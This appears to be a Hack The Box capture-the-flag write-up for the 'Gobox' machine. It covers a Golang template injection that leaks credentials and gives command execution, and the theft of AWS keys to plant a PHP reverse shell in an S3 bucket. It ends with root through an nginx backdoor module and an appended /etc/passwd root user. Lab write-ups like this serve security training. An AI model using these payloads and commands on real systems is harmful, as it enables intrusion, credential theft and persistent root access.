HTB Writeup - Gobox
Enumeration
As per usual, we start with an nmap
scan to get a listing of open ports and running services on the machine.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: Hacking eSports | {{.Title}}
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Hacking eSports | Home page
|_http-favicon: Unknown favicon MD5: 271532D72FD5025CF19147524DE66481
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have 4 ports open and some really interesting information readily available to us. It looks like we have port 22 open for remote administration which is pretty typical for a Linux web server. Additionally, we have 3 ports open all seemingly a part of what nginx
is hosting on the machine.
The curious part is that what is running on port 80 looks to be similar to what is running on port 8080 based on the title, but the one on port 80 has failed to substitute in the .Title
attribute, indicating there might be templating involved in whatever engine is running the web application.
Exploiting Golang SSTI
Going to port 8080 reveals a sign in page. We can try some basic default credentials but none seem to work. There is a forgot password
link which takes us to /forgot
. Typing in an email and hitting submit prints back who it was sent to. Since we have made the assumption that templating is in play, we can try a template injection. There is client side validation happening so we need burpsuite
to be able to test the injections.
If we sent the POST /forgot
to the repeater
in burpsuite
we can play around with the parameters. We can see in the X-Forwarded-For
header that the server is golang
which narrows down our injections significantly. One of the first payloads to try in a Golang template injection is simply {{ . }}
which tells the template engine to put whatever it has access to at that point into the injection site. Think of it like the dot notation in most C style programming languages where it goes OBJECT DOT PROPERTY
except the object portion is omitted because the template context is the implicit object. So we are asking for any property in the context of the current template, therefore gimme all your variables!
The response printed to the screen is:
Email Sent To: {1 [email protected] <redacted>}
We do have template injection and it looks like whatever is at the .
context contains a user object with 3 fields, presumably ID, email and password. We can now try logging in as this user back at the root of the site on port 8080.
Weirdly though, when we get logged in, it looks like the application is under developed because we just get given a page of raw Golang code. Doing some static analysis on beautiful Golang code is easy. Given we already know that in the injection space we’re at, we have access to a user object, we find this to be very interesting:
type User struct {
ID int
Email string
Password string
}
func (u User) DebugCmd (test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0{
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}
The User object has a DebugCmd
function associated with it. This is super weird because exec.Command(...).CombinedOutput()
is an easy function in Golang to basically call shell commands. It is similar to the system(...)
function in PHP. CombinedOutput
takes both standard out and standard error and emits both together as a byte array. We can try to use this to get code execution on the machine.
We can call id
using a payload like so:
{{ .DebugCmd "id" }}
If you are familiar with Kubernetes and using Helm, etc for deployments, you’ll probably recognise the syntax and calling convention because under the hood, it’s all Golang and Golang based templating stuff.
This payload will work and you should see the response of Email Sent To: uid=0(root) gid=0(root) groups=0(root)
printed in the HTTP response body. We have full code execution via this DebugCmd
gadget. We are root
on the box which is a great start. I tried to get a full shell using Bash and Python standard reverse shells but that didn’t work. The container also lacks curl
, wget
and nc
so it becomes progressively more difficult to get a shell. The reality is that we’re already root
anyway, so we could just stick to the current RCE and see if we can find a box exploit.
First things to notice when we are rummaging around the machine is that the hostname
is aws
and there is an .aws
folder in the home directory of the root
user. This typically hides configuration for use with the AWS CLI and may sometimes contain credentials. In our case, we are lucky because that’s exactly what it has. We can also see the secrets inside the environment variables too by running env
. We can copy these back to our attack host and interact with the target using a local copy of the aws
CLI. This will work because the host has port 4566 open which is serving the AWS API, probably just so this exploit works.
If your attack host currently does not have the AWS CLI, you can get it using snap
:
sudo snap install aws-cli --classic
Or if you are using apt
as the package manager:
sudo apt install awscli -y
We can now interact with the AWS API using the CLI but we need to use --endpoint-url http://$target:4566
as a switch to the CLI to make sure it talks to the API on the target.
Listing buckets is then possible with:
aws --endpoint-url http://$target:4566 s3 ls
This reveals a bucket on the target of:
2024-10-05 13:47:14 website
Containing:
PRE css/
2024-10-05 13:47:14 1294778 bottom.png
2024-10-05 13:47:14 165551 header.png
2024-10-05 13:47:14 5 index.html
2024-10-05 13:47:14 1803 index.php
If we can dump our own shell in there, we could get RCE. Pick whatever PHP shell you want, I used the laudenum
one that is always pretty nice and reliable. I copied it into the bucket:
aws --endpoint-url http://$target:4566 s3 cp ./rev.php s3://website/rev.php
Get ready to catch the shell with:
rlwrap nc -lnvp 4444
Then trigger the shell by going to http://$target/rev.php
and success! We are on the gobox
host as the www-data
user now. If you’re flag hunting, the ubuntu
user’s home directory has the flag and is world readable.
Privilege Escalation
Running netstat -tulpn
reveals there is something listening locally on port 8000 that isn’t reachable outside the machine. Interrogating what this is in the nginx
default
available-sites
reveals only:
server {
listen 127.0.0.1:8000;
location / {
command on;
}
}
It’s not immediately clear what this is. Googling around reveals it’s probably non-standard and could be an nginx
module providing this functionality and it’s probably custom. Modules are stored in /etc/nginx/modules-enabled
:
. 50-mod-http-image-filter.conf 50-mod-stream.conf
.. 50-mod-http-xslt-filter.conf
50-backdoor.conf 50-mod-mail.conf
There is module with the name containing backdoor
which is super exciting. This module simply tries to load another module called ngx_http_execute_module.so
that comes from https://github.com/limithit/NginxExecute
It seems straight forward to exploit. We just want to curl a request at the root on port 8000 and pass in what you want it to execute. I tried curl http://127.0.0.1:8000/?system.run[id]
and immediately got back curl: (52) Empty reply from server
. It seems to be the exact same thing as what is in the GitHub project. It looks similar though so maybe it’s been modified slightly.
To find the .so
file, we can use find
:
find / -type f -name "ngx_http_execute_module.so" 2>/dev/null
Then we can run strings
against it to see if any of the binary file is readable. Something like system.run
is likely hard-coded and readable in the source. There is a lot of output because there are so many readable strings. The binary is dynamically linked and not stripped so there’s a lot of data to comb through. I used grep
to search for information and finally used grep run
on the target and found that the parameter to pass to the request is likely ippsec.run
.
Running:
curl http://127.0.0.1:8000/?ippsec.run[id]
Returns that we are running commands as the root
user now on the main host. To get a full shell, we create an exploit payload in the /dev/shm
folder which we cant write/read from:
echo "echo 'pentester:\$1\$3/vMHtaa\$SK5QeFSNPR40GFN6YEbJ1.:0:0:root:/root:/bin/bash' >> /etc/passwd" > /dev/shm/exploit.sh
This will create a new user entry in the /etc/passwd
file with a user with the effective permissions of root
. We make sure to chmod +x exploit.sh
then call the payload:
curl http://127.0.0.1:8000/?ippsec.run[%2Fdev%2Fshm%2Fexploit%2Esh]
Now we have a root shell after doing su pentester
and have completed the machine.